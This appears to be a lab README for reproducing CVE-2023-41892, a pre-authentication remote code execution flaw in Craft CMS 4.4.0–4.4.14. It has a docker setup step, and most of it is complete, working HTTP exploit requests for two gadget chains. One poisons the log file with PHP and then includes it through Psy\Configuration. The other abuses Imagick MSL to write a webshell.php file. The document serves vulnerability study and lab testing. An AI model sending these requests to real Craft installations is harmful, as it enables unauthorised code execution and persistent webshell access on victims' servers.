# CraftCMS ConditionsController Pre-Auth Remote Code Execution (CVE-2023-41892)

[中文版本(Chinese version)](README.zh-cn.md)

Craft CMS is a flexible, user-friendly CMS for creating custom digital experiences on the web. It provides users with a backend interface to implement websites and configure the CMS.

A vulnerability in Craft CMS versions 4.4.0 through 4.4.14 allows unauthenticated attackers to achieve remote code execution through the `ConditionsController`. The vulnerability exists due to insufficient input validation in the controller's `beforeAction` method, which can be exploited to create arbitrary objects and achieve code execution.

References:

- <https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g>
- <https://blog.calif.io/p/craftcms-rce>
- <https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/>

## Environment Setup

Execute the following command to start a vulnerable Craft CMS 4.4.14:

```
docker compose up -d
```

After the server is running, you can see the installation page at `http://your-ip:8088/admin/install`. Please follow the instructions to install CraftCMS, the default database address is `db` and the username and password are both `root`.

![](1.png)

## Vulnerability Reproduction

The root cause of the vulnerability is that the attacker can send a specially crafted HTTP request to create arbitrary objects through PHP object injection. By chaining multiple gadgets in the codebase, the attacker can achieve remote code execution.

There are two common gadgets that can be used to achieve remote code execution.

### Gadget 1: `craft\elements\conditions\users\UserCondition` with `\Psy\Configuration`

This gadget requires server logging to be enabled, which is enabled by default.

First, send a POST request with a syntax error JSON to write the payload to the log file:

```
POST /index.php?action=conditions/render HTTP/1.1
Host: localhost:8088
Content-Type: application/json

{
aaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaa
<?php
@phpinfo(); __halt_compiler();
?>
}
```

![](2.png)

Then, trigger the remote code execution by including the log file through the `\Psy\Configuration` gadget (replace the `2025-03-31` with your current date):

```
POST /index.php?action=conditions/render HTTP/1.1
Host: localhost:8088
Content-Type: application/json

{
  "config": {
    "name": "test",
    "as xyz": {
      "class": "\\Psy\\Configuration",
      "__construct()": {
        "config": {
          "configFile": "../storage/logs/web-2025-03-31.log"
        }
      }
    }
  },
  "test": "craft\\elements\\conditions\\users\\UserCondition"
}
```

![](3.png)

As you can see, the PHPINFO is executed successfully.

### Gadget 2: `craft\elements\conditions\users\UserCondition` with built-in `Imagick` class

If the Imagick extension is enabled, you can use the `Imagick` class with MSL format to write arbitrary files:

```
POST /index.php?action=conditions/render HTTP/1.1
Host: localhost:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytlNPtAxuuGOeUqqY

------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="test"

craft\elements\conditions\users\UserCondition
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[name]"

test
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[as xyz][class]"

imagick
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[as xyz][__construct()][0][0]"

vid:msl:/tmp/php*
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="file"; filename="1.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="caption:&lt;?=phpinfo();?&gt;"/>
  <write filename="info:webshell.php" />
</image>
------WebKitFormBoundarytlNPtAxuuGOeUqqY--
```

This payload will execute PHP code like `new Imagick('vid:msl:/tmp/php*');`, and cause the "Segmentation fault" error, which makes the thread crash:

![](4.png)

But the `webshell.php` file is written successfully:

![](5.png)
